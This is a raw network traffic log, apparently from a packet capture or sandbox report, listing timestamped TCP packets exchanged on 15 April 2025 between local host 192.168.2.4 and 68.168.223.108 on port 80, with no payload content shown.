Apr 15, 2025 17:35:15.325364113 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325378895 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325387001 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325387001 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325392008 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325407028 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325422049 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325437069 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325439930 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325439930 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325453043 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325467110 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325479984 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325483084 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325495005 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325511932 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325525999 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325531006 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325531006 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325542927 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325556993 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325571060 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325596094 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325608969 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325614929 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325614929 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325623989 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325638056 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325651884 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325654984 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325666904 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325680971 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325690985 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325690985 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325694084 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325706959 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325721025 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325736046 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325750113 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325757980 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325757980 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325762987 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325777054 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325790882 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325799942 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325800896 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325803995 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325818062 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325829029 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325831890 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325845957 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325861931 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325875044 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325887918 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325895071 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325895071 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325903893 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325917959 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325932026 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325942993 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325942993 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.325944901 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325958967 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325973034 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.325987101 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326000929 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326014042 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326015949 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326015949 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326029062 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326041937 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326049089 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326049089 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326056957 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326071024 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326076031 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326086044 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326098919 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326112986 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326126099 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326139927 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326141119 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326141119 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326154947 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326168060 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326181889 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326190948 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326190948 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326195955 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326210022 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326222897 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326232910 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326237917 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326251030 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326265097 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326276064 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326276064 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326277971 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326292038 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.326339960 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.326339960 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.456624985 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456655025 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456670046 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456682920 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456698895 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456724882 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456732988 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.456732988 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.456738949 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456753016 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456768036 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456782103 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456798077 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456808090 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.456809044 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.456813097 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456826925 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456840992 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456856966 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456866980 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.456866980 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.456872940 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456887007 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456901073 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456913948 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456921101 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456926107 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.456926107 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.456935883 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456950903 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456965923 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456979036 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.456979036 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.456979036 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.456995010 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457009077 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457021952 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457021952 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457022905 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457039118 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457053900 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457067966 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457082987 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457094908 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457094908 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457098007 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457112074 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457127094 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457142115 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457153082 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457153082 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457155943 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457170010 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457185030 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457199097 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457199097 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457199097 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457214117 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457227945 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457242012 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457254887 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457268953 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457277060 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457277060 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457283974 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457298040 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457313061 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457313061 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457313061 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457326889 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457340956 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457359076 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457370996 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457370996 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457374096 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457389116 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457401991 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457417011 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457432032 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457442045 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457442045 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457446098 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457459927 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457473993 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457488060 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457493067 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457494020 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457504034 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457519054 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457534075 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457547903 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457552910 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457554102 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457565069 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457578897 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457592964 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457607031 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457619905 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457619905 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457623959 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457638025 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457652092 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457664967 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457664967 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457665920 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457681894 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457695961 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457700968 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457710028 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457724094 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457739115 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457752943 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457767010 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457773924 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457773924 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457781076 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457794905 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457808018 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457811117 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457811117 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457822084 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457837105 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457850933 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457865000 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457865000 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457865000 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457880020 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457895041 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457915068 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457925081 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457925081 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457930088 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457943916 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457958937 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457973003 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.457983971 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457983971 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.457988024 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458000898 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458015919 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458029032 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458041906 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458056927 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458070993 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458076000 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458076000 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458076000 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458085060 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458098888 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458112955 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458127022 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458141088 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458142996 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458142996 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458153963 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458168030 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458180904 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458183050 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458184004 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458195925 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458209991 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458224058 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458236933 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458250999 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458251953 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458251953 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458265066 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458277941 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458292007 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458297014 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458297014 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458306074 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458319902 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458327055 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458336115 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458349943 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458357096 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458370924 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458378077 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458388090 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458388090 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458390951 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458405972 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458419085 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458432913 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458446026 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458446026 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458448887 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458463907 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458477020 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458491087 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458497047 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458497047 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458506107 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458519936 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458535910 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458550930 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458564043 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458570004 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458570004 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458580017 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458592892 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458606958 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458620071 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458633900 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458647013 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458647966 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458647966 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458661079 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458673954 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458688021 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458702087 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458714962 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458715916 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458715916 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458728075 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458741903 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458755016 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458755970 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458755970 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458769083 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458782911 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458796978 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458811045 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458822966 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458823919 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458822966 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458838940 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458852053 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458865881 CEST	80	49718	68.168.223.108	192.168.2.4
Apr 15, 2025 17:35:15.458868027 CEST	49718	80	192.168.2.4	68.168.223.108
Apr 15, 2025 17:35:15.458868027 CEST	49718	80	192.168.2.4	68.168.223.108
